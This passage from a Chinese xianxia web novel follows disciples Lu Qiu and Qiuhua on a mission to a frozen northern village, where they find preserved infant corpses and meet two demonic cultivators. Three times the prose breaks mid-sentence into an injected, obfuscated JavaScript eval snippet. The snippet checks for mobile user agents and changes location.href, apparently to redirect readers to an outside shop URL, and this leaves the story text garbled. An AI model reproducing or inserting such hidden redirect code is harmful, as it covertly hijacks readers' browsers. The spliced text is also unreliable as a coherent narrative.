二人又聊了一会,直到走到了落霞宗大门处,尹浅笙才拿出了个包装十分精美的木盒递给陆秋。陆秋接过木盒,发现里面是条翠色璎珞,而最中间的那颗珠子看着十分眼熟。 “那颗珠子是可以替换的,我把它做成了市面上普通留影石的大小,而且长度也可以调节,方便你需要时留一些证据。” 先不说用处,仅是这璎珞的样子就把陆秋给吸引住了。为了不让颜色单调,还特意在上面配了银饰点缀,银饰做成玄鸟模样,只有小指指甲那种大小,却连上面羽毛都雕琢的根根分明。 “哇,好漂亮。”陆秋怕被宗门里的听见,努力压低声音赞叹:“真的好精细。” “算是一点心意。”尹浅笙也被夸的不好意思了。 “谢谢!”陆秋把璎珞收回盒子,左右张望了一下确认没有人注意他们,便捧起尹浅笙的脸,迅速在他眉心落下一吻。但亲的歪了那么一点,或者说是刘海的缘故,不偏不倚吻上了他左眼处的那颗小痣上。 尹浅笙不知作何反应,整张脸迅速涨得透红,只扔下一句“你也快些回去吧”便飞一般的跑走了,看着背影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395976|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至有些逃命的感觉。 “反应这么大做什么?”陆秋只觉得奇怪,后知后觉貌似只有落霞宗的同门在一起时喜欢这样玩,但对旁人来说还是太过亲密,不由有些后悔自己一时冲动亲了人家。不过亲都亲了,也不能再收回来,他便没当回事地回去了。 芥子空间有灵力维持,买来的糕点拿出时还和昨日刚出锅的一样新鲜,甚至还冒着热气。 不知怎么送,就都送一遍。陆秋拿出提前准备好的大盒子放在桌上,在周边铺上保温的碎灵石,将糕点每样拿了几个放到盒中摆放整齐,等装到最后一盒的时候就听见敲门声,依旧是三下长,两下短,他知道是清环,头也不抬回应着:“请进。” 清环进来后背手关了门,看着桌上几个大盒子,拍手笑问:“有我的份吗?” “有,都是一样的,你看着哪个顺眼拿走哪个就是。”陆秋把最后一个包好,数了数共有八盒。 清环从上到下看了一遍,却没有拿:“我看着都好,我都想要呢?” 陆秋也不说他,只是看着这些盒子:“那就都拿走,我再去外面买一遍。” “随便一盒就行。”清环拿了最上面的,掂了掂:“还不少呢,你得花多少钱。” “也没有很多。”陆秋算着:“一盒下来也就一百多块灵石。” “得亏你是自己买了又装盒的,你要是去买现成装完盒的,这一盒都该三百多。” 清环也没有白拿他的,从自己的储物手链中拿出了块和拳头那样大的石头来。石头是深灰色的,看着没有什么特别的地方,但陆秋认出来这是青女石,不由微微睁大了眼睛:“这么大一块青女石?” “我见没人认得这东西,我便买回来了,反正还没雕琢,你就自己看着办吧,雕个小玉佩,做个簪子什么的都行。” “这是从哪儿买来的?”陆秋拿过石头,生怕摔了:“这个边角料都是有人抢的。” “那就多做几个东西嘛,碎了的也整理起来,装在袋子里还能卖个好价钱。” 青女石专攻克心魔,不要说对心魔耿耿于怀的修士,就连凡人带上一颗都可避免内心阴暗的滋生。 陆秋对这石头的来历很是怀疑,但到他手中,那来历就变成友人相赠了。谢过清环,他暂时还不知道到底有什么用,便小心翼翼放到储物戒的最里层,等着放了年假回去和陆夕月商议。 陆秋拿了一盒糕点直冲令火堂,今日依旧是秋花值班,她眼珠一瞄看见陆秋手中的糕点盒,原本半趴在桌上的身子直接直了起来。 “师姐今日还值班?”陆秋把糕点盒放在桌上往前一推:“看师姐总是在这里呆着,我这次就请假出去买了些小点心给师姐解解闷。” “你可真是我的好宝!”打开盒子,看见里面摆的糕点眼睛都亮了几分:“你也是会挑,这是蒸荣坊的糕点吧?” 陆秋平时路过就会在那家铺子买糕点,但从来没注意过那铺子叫什么,此时有些尴尬,但还是接了话:“没注意,这是到处挑的些觉得还不错的点心。” 秋花拿过一块尝了尝,让他也吃:“没想到你还挺有品,这些点心都是好吃的,平日里也能当零嘴。” 陆秋摆手说自己挑的都撑了,不用了,但其实心想他哪里吃了,有品也是尹浅笙有品,下次挑吃的还找他。 “嗯,也亏你能想起我自己在这孤零零的值班。”秋花拍拍手上的碎屑:“你要不要看看新任务?” 陆秋立刻应下:“看,反正离宗门考核还有一个月,闲着没事不如接任务。” “刚好我也想出去了。”秋花眼珠一转:“咱俩一起出去,到时候就是清环在令火堂值班了。” “有什么任务,是和清环师姐那样的吗?”陆秋想想和清环一起出去的那一次,要不是自己又遇到了尹浅笙,八成就是被带去走个过场的。 “放心,你闲不下来的。”秋花手一翻,任务牌就出现在了陆秋面前。 59. 任务(1) 陆秋将牌子转为纸,仔细翻看上面的内容。 任务地点是在北部,落霞宗在浮海城中部地区都十分寒冷了,而浮海城北部与另一块冰原大陆接壤,这次去怕不是浑身都得贴满了供暖符。而且再一看任务,说是附近有猛兽出没,而且已经连续毁了好几个村子,才不得不引起浮海城洲主的重视,广招各大宗门的弟子前去除掉猛兽。 陆秋又找了几遍,没找到别的有用信息,便问秋花:“到底是什么猛兽,没有详细点的介绍吗?” “没有,前几年都没有,以前都是只有雪灾,今年就确定了有猛兽。”秋花也思考着,突然拍脑袋说:“对了,你知不知道几个月前兽宗有放灵兽的事?” “知道。”陆秋貌似知道秋花在想什么。 “会不会……”秋花神秘兮兮的:“这个猛兽就是他们放出来的?” 陆秋也趴桌子上:“有可能,不过还是得亲自去看看才能下定论。” “去吗?” 两人对视一眼,陆秋点点头:“去。” “那明天晨练完就来这找我,咱俩再清点下东西,准备妥了就走。” “没问题。”陆秋同意着,从落霞宗库中申请了五十张供暖符,生怕不够用,又拿了一百张。秋花皱眉,嘴都合不上:“你,你拿这么多干什么?” “万一用着了呢,就算用不着也不亏。” “你真不愧是清环教出来的,这抠门的样子真是一样。”秋花噘嘴:“再多几个你俩,玉凰宗的脸都要笑烂了。” 陆秋把符都装到备用的储物戒中,不解的抬头:“为什么?” 秋花凶着脸:“符都是从玉凰宗买的,你们这种败家行为只会让他们赚的更多。” 由于任务紧急,秋花也没有给他留多少时间,只给他一日的功夫去准备东西,隔日一早便出发。 火灵根的好处此刻就展现出来了,只要灵力充足,就不需用衣物保暖。但个人的灵力是有限的,关键时刻要用也不能供应不上,所以又带上了几丸能够补充灵力的丹药备用。不过他也不打算吃这丹药,毕竟有利有弊。丹药名为调灵丹,顾名思义,调节灵力,服用后虽说可以使灵力迅速补足,但终究只有调节,等到药效过去,体内灵力也要自动补足这次的使用,补不上就要处于一直亏损的状态,严重者在药效消失的瞬间可能就会被抽干灵力致死。 就算不吃调灵丸也有后手。陆秋摸上那条璎珞,中间的长命锁被他换成了思尘,贴身穿戴,把狐裘一披便遮得严严实实。 不知道会去多久,但执事长老给他们的要求最多是一个月,而且每三天都要给宗门报信,以免出现意外。 刚晨练完,陆秋边走边把衣服穿好,一刻不停的向着令火堂走去。令火堂不能没人,所以除了秋花,清环也早早在那里等着了。 “你自己取个名字。”秋花拎出来一大串牌子:“出去不能用现在的名字的,你想不出来就选一个。” 陆秋随便摸了个牌子,觉得听着还可以:“这个吧,竹湘。” “可以。”清环托着脸有些遗憾:“本来你进宗就该改名的,结果叫我忘了,导致现在你才有个假名。” “假名叫多了会忘掉真名的。”陆秋又问:“你们真名是什么?” “我的不好听。”秋花故意瞥清环:“清环的好听,你让他告诉你。” 陆秋看向清环,但清环比了个噤声的手势:“等你们回来再说,现在你们是不是要走了?” 即使做好了十足的准备,但传送到目的地时还是把二人冷的打了个寒颤。不能说一眼望去全是雪,因为还有不少建筑残骸,以及正在处理后事的人。他们穿的是专用于雪地的靴子,但雪已经到了陆秋膝盖的位置,他看向秋花,发现秋花还在挣扎,企图挖出来条路。 “师姐,我们还是飞吧。”陆秋给出了实用的建议。 “我一定可以!”秋花不听,奋力把到自己大腿的雪铲到一旁。但挖了一会,她便果断拿出条玫红色毛毯,往上一抖,自己跳了上去移到陆秋旁边:“上来,我们去那边问问。” 陆秋也坐上去,有些新奇的摸摸毯子上精细的刺绣。等到二人飞到那群人旁边,他才看清这应该是洲主手下的人。 “打扰了,我们是落霞宗的弟子,请问现在是什么情况。” 其中左臂有一个红臂套的人回答她:“这是被袭击的第四个村子,你们一直往西北走还能看见前三个被袭击的村子。” “我们想检查一下,不知方不方便?” 红臂套的人上下打量他们二人,还夹杂着几句刺耳的话,又是觉得他们是绣花枕头,又是觉得穿成这样来当花瓶,但最终还是松口:“你们自便。” 这里的雪被铲的差不多了,他们跳下毯子,秋花把毯子卷成卷轴大小放回袖中,便带着陆秋从西南角开始检查。西南角看着就是普通人家,当二人奋力把破旧的黑色木门推开时,顶上积雪都被震得一块块往下掉,但不知是不是陆秋用力大了一点,门还没完全打开就缓缓向前倒去,直直倒在雪中。 秋花往上一看,迅速拉住陆秋的袖子往自己这边拽,就在下一刻,陆秋那边的墙与连接着的顶塌下来了,摔在地上都没发出多少声音又被雪给埋住了。 两人静了一会,秋花开口:“你要是在底下,我就得挖你了。” “谢谢……”陆秋挠头道谢。 没了门,二人便从一旁塌墙的地方进去,还没走几步,陆秋就眼尖看见屋内有几块掉在地上的木牌。 “这里……”他琢磨着,有些不太确定的问:“不会是宗祠吧?” “有可能?”秋花上前捡起牌子,用帕子擦擦上面因雪融化而有的水,结果还没擦干净,木牌就因为腐烂严重断掉了。她再拼了一下,发现上面连字都看不见,又捡了另一块牌子,结果依旧是这个样子。 陆秋也过来蹲在地上擦牌子,但是腿都麻了依旧没有一块是有用的,秋花气得一扔,破口大骂:“这要是宗祠,这群人都该不得好死。” 陆秋心里也郁闷,他还真没见过有把宗祠建在角落的,而且地势那么低,不顺风,不顺水,不知道的还以为是仇家给建的祠堂。地上的暂且不管了,他把供桌的抽屉抽开,想看看里面还有什么有用东西。 也不是一无所获,至少有满满一抽屉的香。既然来了,那也得表示点尊敬。他翻着香,悲哀的发现全是湿的,根本点不着,只好从自己储物戒中找出三根香点上。 “你点香干什么?”秋花站在一旁扶着柱子抖雪:“你那香往哪里插啊?” 陆秋环顾四周,才发现一个香炉都没有,但都点上了也灭不了,就插到了雪中。二人就等着,直到三根香同时燃尽,陆秋不解了:“为什么没有什么指示?” 秋花就差把无奈写在脸上了:“因为这里没鬼啊。” “为什么?” “你猜我是什么?” 陆秋反应过来,手指都快把衣角缠烂了,他用笑容掩饰自己此时的尴尬。秋花除了打架,剩下和人没有两样,让他都忘了对方是个鬼修这件事。 “那这里就没什么用喽?”陆秋试探的问。 “反正我没注意到有什么用。”秋花疲惫的拉开另一个柜门,从柜子中滚出了几个黑色东西,砸在腐烂的木地板上发出不太悦耳的声音,而其中一个刚好面对着陆秋,让他看了个清清楚楚。 那些是婴儿尸体,但不知用了什么手段,尸体并没有腐烂,反而变得黑了,缩成皱皱巴巴的模样。陆秋几乎在一瞬间就用了灵力去探查,但这些貌似也就只是尸体,什么意义都没有,唯一能起的作用就是吓人了。 他又蹲下,拿着尸体的头把它拎起来,发觉这东西轻得仿佛没有重量般,一阵微风都能吹得到处乱滚。不过很快他们就发现这些尸体没有内脏,腹部被切了小口,望进去甚至还会透光,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395977|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连后脑也有被剖开的痕迹,不过看不见里面,不知道脑中是否也是空无一物。 “都是女婴。”秋花扒开尸体蜷缩的四肢得出结论。 陆秋头疼起来:“这里也不能是弃婴塔之类的地方吧,哪有在祠堂放女婴尸体的,这不乱套了吗?” “我估计,这个村子可能不是猛兽袭击的。”秋花放下尸体,给他细细分析:“一路上咱们都没见到尸体吧?” “对。” “你说是什么原因?” “被清理走了吧,刚刚不还有一群人在处理东西?” “拜托,处理的尸体怕出事,都会直接一把火烧掉的。” “会有比我们早的修士来吗?” “要是真有比我们早的,那个门估计早塌了,也不用等咱俩。” “嗯,也是。”陆秋没话说了,但又反驳道:“要是有人来过了,故意把门弄塌又扶正呢?” 秋花站起来,拧了两把湿了的裤腿:“那就是把这里有用的东西都拿走了,咱们只发现了这些破烂。” 两人都叹气,最终秋花把柜子中的尸体都扒了出来,陆秋在祠堂空地无木生火,把这些尸体烧了,也算是积点功德。 不对,对秋花来说是阴德。陆秋默默想着。虽然不知道是什么原因导致了她们的死亡,但烧干净了,随着风消散,也算是走得干干净净。 雪原不好的地方就在于视线受阻,若是寻人得用灵力大片搜查,效率极低且损失大,二人把整个南边都找了一遍,也没有发现一个活人。大多数屋子都是破败不堪的,并不是暴雪损坏,而是原本就不堪一击。 尸体都是在屋内找到的,不过与任务有出入的是,这些人动作如常,没有一点挣扎的痕迹,看起来就像自然死亡,并没有遇到危险时应有的恐惧,所以初步判定死亡不一定是猛兽袭击。 尸体就连触碰都得小心,陆秋想看看面前这具男尸还有没有其他明显伤口时,只是轻轻一拽,那条手臂就被整根带了下来。陆秋蹲在那里也不知到底怎么处理才好,扔了貌似不太尊重尸体,但拿在手里有觉得恶心,最后悄悄把尸体的手臂给插回去,便放在那里不管了。 这一趟下来天也要黑了,按理来说既然放了任务,就要给众人准备好物资与休息地,但二人赶到村口时,却发现还有不少其他门派弟子在那里守着。不仅是没有休息地,就连气氛都十分不对劲,几伙人和吃了火药似的对峙着,看到二人来到,周边气压更低了。 陆秋只认得有滨水宗和隐月教的弟子,剩下一些花里胡哨的根本没见过,便猜测是些散修也接了任务。他们没有靠近,只是在离那些人半公里的地方席地而坐,说些有的没的。 “那俩,穿的跟花孔雀似的。”秋花一指,陆秋随着她手指看去,就见一位身着青蓝渐变羽衣的男人,金丝勾勒的发冠上像是嫌弃不够花哨一样,还另加了两根带流苏的玉簪。另一人虽然看上去没有那么花哨,一身纯白,但细看上面都是令人眼花缭乱的暗纹,汉白玉白珍珠白流苏叠戴,连袖口都有一层白纱,镶了白玉石的白抹额一戴都能和雪地融为一体。 陆秋看得倒吸一口凉气,悄悄和师姐嘀咕:“我还觉得我以前够花里胡哨了,现在看来是我见识浅薄。” “用令牌。”秋花貌似也想说什么,但那个穿青蓝衣的男人貌似是察觉到了什么,和另一位一同看向他们,他们只好用令牌对话。 “那俩一看就是夜笙门的,咱们跟他们关系一般,没事别惹他们。” “夜笙门不是魔修吗?”陆秋没回头,但那两股视线盯得他并不舒服。 “魔修,但是里面净是些花肠子,逮着咱们宗的弟子就喊娘子,恶心!”说到这里,秋花翻了个大大的白眼:“清环都让恶心的不轻,咱能躲开就躲,听着没有。” “师姐,他们好像……”陆秋回头看了一眼,有些不确定的说:“是不是离我们越来越近了?” 60. 任务(2) 刚刚的二人还在半公里开外,但现在貌似离他们只有几步路的距离了,秋花脸色一变,带着陆秋站起来想要远离这里,谁知那两人也不装了,径直朝二人走来。 刚刚坐在地上,连狐裘都打湿了一片,陆秋还在抖水呢,秋花就扯着他的臂弯向村里跑去。 陆秋跑得几乎是连滚带爬,秋花比他矮那么多,跑得又快,上次跑得这么不顾形象还是在滨水宗考核里逃命。身后二人不紧不慢,像是抓老鼠的猫,欣赏着他们的狼狈。 二人最后实在无处可去,兜兜转转又来到宗祠,不过秋花忘了白天塌了一半的门,从另一边好门进去后急忙关门,觉得终于把那两人甩掉了。陆秋搞不懂她到底怎么想的,就见那两人直接从塌了的墙那里走进来,看着还堵在门前的秋花,同时陷入沉默。 这种令人窒息的尴尬不能让他自己享受,陆秋出言提醒:“师姐,你后面。” 秋花往后一看,看见已经在院中的羽衣男人和还踩在那堆墙体残骸上的白衣男人,又看看自己堵的门,整张脸瞬间通红。她深吸一口气,然后猛地抽出长鞭向二人发难,大喊:“都给我忘掉!” 陆秋知道他和秋花加起来都打不过这二人,连忙劝道:“师姐,别动手,有话……” 话音未落,长鞭就带着风声冲向那二人。二人不躲,也不知用了什么法子,长鞭一到面前就突然变了个方向,变成向秋花而去。秋花被这变故弄得直接清醒了,急忙收回鞭子,就在原地等着那二人开口。 陆秋本觉得与其在这里浪费时间,还不如早些说完去休息,但秋花就这么把他挡在身后,他也没开口的机会,只能静观其变。 但不知怎的,他也觉得对面白衣男人和他竟然有同样想法,但都只能等着,想走也走不了。他有些忐忑的看向白衣男人,那人也对上了他的视线,也就是在这瞬间,一道声音传来。 “无聊。” 那声音温润悦耳,带着淡淡的无奈。陆秋又不信邪,看向另一人。 羽衣男子不甘示弱和他对视,又有一道不屑且轻佻的声音传来:“这两人也不是哑巴啊,怎么这会不说话了。” 他又和秋花对视,在秋花看来的瞬间,属于少女的声音带着焦虑响起:“你快说句话啊,在这里干站着多尴尬。” 陆秋僵硬的转头,没想到自己竟然成了那个要破冰的人,他向前迈了一步,将师姐护在身后,比较客气的问:“不知二位有何贵干?” “是你们先跑的。”羽衣男人终于等到他开口了,迫不及待的怼他们。 秋花怒上心头,也不给他面子:“那你们追我们做什么,你们不追我们还跑吗?自己犯病别祸害别人!” 陆秋听到后半句心都要凉了,甚至都做好打一架的准备了,他忙向对面解释:“我师姐说话冲,你们别放在心上。”他又偷偷和羽衣男人对视,听他的心声。与他想象的完全不一样,他本以为对方会勃然大怒,看着这脸色阴沉的都要滴出水来,谁知对方的内心活动完全超出了他的预料。 “完了,说错话了,我没想这么说的,怎么办,人家都气得骂人了。” 他再看向白衣男子。 “每次都这样,服了。” 再次确定并不是他的幻觉,陆秋开口劝秋花:“师姐,消消气,我们不是来吵架的。” 秋花还在气头上,不爽的开口:“我哪里想吵架。” 言外之意,对方先找事的。 陆秋求助似的看向对面白衣男人,他总觉得那人可以帮他。果然,那人也开口,不过说的话也不顺耳就是了:“那就说事。” 秋花臭着脸:“你们总不能是一时兴起就死追着我们吧?” 他们好像真是的。陆秋疯狂暗示,但秋花并没理解他的意思,反而让对面青衣男人回答了:“确实是这样。” “你变态啊,尾随小姑娘!” “我们只是想和二位搭话,谁知你们突然就跑了。” “一声不吭就往这里来,你又不是没长嘴,你说明一下能死啊?” “师姐。”陆秋紧急提醒:“人家还没说话我们就跑了。” “你是师姐我是师姐?大人说话小孩子别插嘴。” 陆秋闭嘴了,现在的秋花强的可怕,属于是在旁边都会受到波及的那种。当然,他没躲过挨骂,对面不吭声的白衣男人也没逃过,因为秋花也就一个顺嘴给骂了。 陆秋一直看着白衣男人的眼睛,被他的心声逗得想笑。 “什么时候能走。” “还吵啊。” “今晚还能吵完吗。” “为什么看着我?” 陆秋立刻收回目光,自动无视了吵架的二人,但看看周围也没有什么有意思的,又和白衣男人对视。 “看着挺呆。” 我哪里呆了?陆秋心中疑惑,但只是微微皱眉。 “样子呆。” 哪有的事……陆秋猛然反应过来,自己在听人家心声,对方也能听见他的心声。像是为了让他相信,白衣男人木着脸:“从刚开始就听到你在那里说话。” “全听见了?” 对方点头。 陆秋这下觉得这地可真耐看,黑漆漆的天也耐看,师姐头上的花也耐看,就白衣男人不耐看。他趁着秋花吵架吵累了,拉住她的袖子,悄悄说:“师姐,咱们走吧,别多计较了。”秋花貌似也觉得过瘾了,将手一甩:“不和你们多说了,本姑娘大度,这点事不放在心上。” “本少也不和你争,不过你至少得告诉我名字吧。” “你先说你的。” “本少叫素青,那个是素白。” “本姑娘是秋花,秋天的秋,鲜花的花。” “这又不是你的真名。”素青“嘁”了一声:“说个真名那么难?” 秋花柳眉倒竖,双眼微眯,冷笑:“你用的就是真名?自己都不以真心待人,就不要说别人待你不真。”她对着陆秋歪头:“竹湘,我们走。” 陆秋有点担心的看向素青,却读到了一句心声。 “这妞还挺辣。” 陆秋听到这话只觉得浑身鸡皮疙瘩都起来了,他实在想象不到什么样的人会因为喜欢而去尾随对方,闹得这么不愉快。不仅是他,就连秋花都被恶心的不轻,好不容易出来一趟,还遇着这么两个极品。二人也没心思想别的了,只想找个安全些的地方休息一会,秋花甚至还含了颗梨丸来缓解嗓子疼痛。 “这种人就是欠骂,我跟你讲,他就是占情煽情,占理夺理,你越躲着他,他就越得寸进尺。” “那个素白呢?”陆秋想听听秋花的想法。 “没注意,不过也不像是好东西。”秋花“切”的一声:“人以类聚,而且他俩看着挺像,应该是从小一起长大的兄弟,这个素青恶劣,那个素白也绝对不是善茬。” 陆秋有些不信:“要是二人截然相反呢?” “不可能!”秋花斩钉截铁道:“若是相反,他们会互相看不顺眼,绝对不会像现在这样在一起行动的,你不要把活着的东西想的太好了。” 半晌,她又补了一句:“死的也是。” 村口待不得,宗祠也待不了,虽然步入金丹期就不怎么需要用睡觉来补充精力,但突然有几天不睡觉还是难以适应的。二人又找了个较为完整的屋子,秋花用飞毯铺在地上,躺在上面休息。不知是不是认床,不仅睡不着,这会精神还好得很,他们又有一搭没一搭的聊起天来。 “师姐,清环原名叫什么?” “林清欢,是那个二十年年被云家灭口了的那个林家。” “什么?”陆秋心想得亏自己一直没有和云栖月再联系,不然他也不知道要怎么面对清环。 秋花双臂枕在头下:“你知不知道,云家已经接管滨水宗了?” 虽然知道滨水宗必然会是云栖月的囊中之物,但陆秋没想到这么快,便问:“你怎么知道的?” “笨,你想啊,人家云家长公子都住掌门的地方了,不少执事弟子也都换成羽人了,值班人半年前也全换了,云家打的什么算盘有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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素白点头同意,站到了大门外。陆秋跟在后面,悄悄把门合得剩了条缝隙,开口问道:“你想让我们做什么?” “我们合作。” “怎么合作,你们能力远在我们之上吧?”陆秋不太相信素白是真的来寻求合作的,找他们还不如去村口拉人,没准更有用些。 素白没有否认,但依旧坚持:“目前在场的只有你们可以。” “你们……”陆秋脑海中闪过其他人的形象,貌似有了点头绪:“需要鬼修?” “这里的人并没有死去。”素白说出令他万万没有想到的事:“你们应该也发现了,这里没有灵魂,按照死亡的时间来看,这里应该还有不少残魂,但……” 他停住了,等着陆秋自己想明白。陆秋脑子灵活,一下便把前因后果结合起来了:“因为这里出现了吞噬灵魂的东西,唯一能和灵魂直接沟通的就是鬼修,所以你们希望我们加入你们。” “对。”素白承认:“若是你们自己找,永远都找不到入口,我们合作,事成后报酬你们可以全拿走。” 陆秋才不信有天上掉馅饼的好事:“你们要什么?” “我们要找东西。” “我们的合作貌似没有什么可靠性。”陆秋没有急着答应,就在原地等着素白表达他的态度与保证。 素白知道他的意思,不再口头表达,而是将自己的储物戒抛给他:“我的一些法器都在里面,事成后再还我。” “是‘我们’合作。”陆秋轻轻摩挲着那枚白玉雕花戒指,简单查看了一下,发现里面法器确实都是实打实的好。 “等你师姐醒来,素青再把储物戒交给她。” “这么放心我们?”陆秋挑眉:“你们就不怕我们带着东西跑了?” 素白露出根本不在意样子:“你们就这么心安理得的拿吗?我们本还不信落霞宗的弟子会这么贪心呢……” 陆秋听到这话,心头一阵无名火涌起,把戒指扔给他:“你自己数数里面都有什么东西,到时别再反咬一口说里面少了东西。”他也学着素白的语调阴阳怪气:“别再给魔修抹黑,被说故意污蔑其他宗门弟子偷东西。” 61. 任务(3) 素白笑了,不知是气得还是怎的,陆秋此时才有了种素白和素青相像的感觉。同样的丹凤眼,不过素白眼白较多,但笑起来眼睛微微合上,眼白少了,和素青就像的很。 “魔修名声本来就不好,我们也不怕被人说。” 陆秋自己也算半个魔修,就问:“哪里不好?” “你没听说过?” “没有。”陆秋承认。 “你会知道的。”素白隔墙看向秋花呆的地方:“我觉得,你该去看看你师姐。” 陆秋心里疑惑,他没有感受到保护罩有什么异样,但仅仅是回头透过门缝看了一眼,吓得他立刻飞了进去。 秋花躺的地方没有问题,但她貌似是真的睡着了,卷着毯子滚到了台阶边上。那几级台阶大概有陆秋腰那么高,秋花的头已经在台阶外了,悄悄再偏些就要从崎岖的石阶上滚下来。 陆秋迅速托住她的头,谁知刚要放下心时,秋花却像是本能反应似的,一巴掌拍在陆秋胸口,把他拍飞三米远,自己还是滚了下去。陆秋坐在地上,看着在地上滚了几圈的秋花,心里都是“坏了,让外人看见难堪的一面了”。 秋花也是警惕,在地上还没滚完就一个跪刹停住了,抬眼看见素白站在门口,起床气直接爆发了:“你还来骚扰我们做甚!” “合作。”素白懒得再说一遍,用白羽毛扇一指陆秋:“你问他,他知道。” 陆秋的狐裘下摆已经脏的不像样子,干脆坐在地上也不起来了,在原地向秋花把刚刚的事说了一遍。 秋花好像也不在意自己会不会被坑,直接答应下来:“什么时候去?” “明日傍晚。” “没猜错的话,这里是有秘境吧?” 陆秋听到这话,不知秋花是怎么知道的,他现在还想着是不是有噬魂兽,结果素白就承认有秘境。 “秘境开启动静很大,你要怎么确保他人不会阻碍我们?” “所有人都会进去,但出于秘境的性质……”素白故作神秘:“暂时无可奉告。” “无可奉告就回去吧,还有,告诉那个素青,想合作就别找事。”秋花摆手:“我们同意了,你走吧。” 素白不再停留,等他的脚步声逐渐消失,陆秋问她:“师姐,你怎么知道是秘境?” “你是真笨,除了秘境还会有什么东西能把这里灵魂吞得干干净净的?” “噬魂兽。” “你那是被任务带跑了!”秋花一拍大腿:“你得记住,噬魂兽噬魂是要有时间的,所以被吃的过程中,这些人绝对会挣扎,而且那东西吃的有限,不可能一天吃完,村里有人死了,其他人不会跑吗?” “哦。”陆秋明白了:“就是说,这里突然出现了一个秘境,突然将所有人的灵魂都卷进去了?” “嗯,而且我觉得不仅是人,还有物品。” “为什么?” “那些女婴尸体没有任何灵魂寄生,你找的香也无法使用,这些本该在阳间发挥作用的东西都无法使用,不就是没有了灵魂吗?” 这些话超出了他的认知:“可是物品没有寄生灵,又怎么能判断是否有灵魂?” “你不能用普通的灵魂去衡量,在鬼修这里,灵魂是能驱使物品动作的原料,身体是物品,其他东西也是物品,没有作用,就是没有灵魂。”秋花眯眼:“你没好好听二长老讲话吗?” “那个太无聊了……”陆秋心虚的移开目光。 “无聊也得听,有用的。”秋花用食指戳他的头:“每天都不听,我看你考核怎么过去。” “嘿嘿。”陆秋低头躲过了秋花的手,又问:“师姐,明天的秘境会是什么样子,我们怎么准备?” “他既然要鬼修,那八成和灵魂有关,鬼修只要灵魂不灭,就能无限重生。” “会不会是献祭?”说到□□,陆秋直接联想到了那一柜子的女婴尸体,那些可能就是这次秘境的突破口。 “不好说,不过也不是没有可能。”秋花拨弄着头上的簪子:“我们的灵魂是不会改变的,无论记忆,状态还是其他东西。” 二人静静对坐直到天明,寒冷不停向着他们衣领、袖口钻去,供暖符的作用已经微乎其微,必须要在这些符失效前换上新的,不然就凭他们穿的这些衣服,顷刻被冻僵是必然的。 “师姐,我们还找另一边的屋子吗?” “找。”秋花呼出一口热气,看着白雾在眼前散开:“这些人既然动作如常,那么就证明他们认为自己是在自己熟悉的地方,那个秘境说不准就是这里的投射。” 听到外面又有人在走动,看来是其他修士坐不住了正在寻找有用信息,二人也起身向外面走去。陆秋看见滨水宗的弟子本觉得无所谓,但发现里面有羽人时又有了种心虚感,生怕被认出来,然后报告给云栖月说自己在当女人。 并不是觉得丢人,而是担心落霞宗都被连带着找麻烦。陆秋假装没看见他们,跟着秋花去另一边,不过这次就是记住一些特征与大致方位,以免进入秘境时不能发现异常。 “我们还用记地窖吗?”陆秋在后院发现了地窖,拿过锄头要撬开地窖口。 秋花背着手走过来:“没必要吧,难不成这东西还能救命?”但在撬开的瞬间,里面散发出来的腐臭味让她立刻改口:“记。” 陆秋捂住鼻子,恨不得离得有八丈远:“里面是什么?” “不知道啊,地窖不该会有这种味啊,闻着还是新鲜的。”秋花探头又迅速收回去,向里扔了张火符想看看是什么东西。结果一声轰鸣,爆炸带来的冲击让二人向后飞去数米远。陆秋用狐裘掩脸挡住热浪,等站稳了才放下手,向秋花的位置跑去。 秋花反应也快,刚刚的爆炸烧到了她的几根头发丝,等陆秋跑到她身边时,她把陆秋赶到身后,陆秋也看见燃烧的地窖内部有什么东西在移动,挣扎着要爬到地面上来。 那还在燃烧的东西像是个人,烧焦了的双手扒着地窖口向上蠕动着,在雪地留下黑色的焦印,还有不知哪里来的“啪啦”声,伴随着糊味折磨着人的感官。它摇摇晃晃站了起来,扭曲着向他们走来,秋花没有动,而是从袖中拿出长鞭,微微颔首道:“竹湘,看好了,我只给你表演一次。” 下一刻,秋花用力将鞭子甩了出去,力量从肩臂处传到手腕,再传递到鞭上抽向那东西。 只听一声巨响,长鞭就如蛇般缠上颈部,将头连着脊骨从体内完整扯了出来,那原本还在往前走的“人”便直直倒下,不再动弹了。 陆秋看着被卷出的一整根脊骨,自己的脊骨也感到隐隐犯痛,直到那东西被烧得只剩了一堆灰洒在雪中,他才敢开口。 “为什么要抽脊柱啊?” “这家伙是死活人,死了都能动,要想让他们失去行动能力就得拆脊柱。” 陆秋对死活人有一点印象,说是什么死人,但是受到某些影响又能无意识的动作,无差别攻击任何东西,而且最让人头疼的就是哪怕脑袋都被打烂了还能动,缠人能力一绝。看了秋花的攻击,陆秋只觉得自信,仿佛自己也可以一鞭一个死活人了。 秋花抱胸:“得亏刚刚没靠得太近,要是被这东西摸了,心里都得膈应一辈子。” 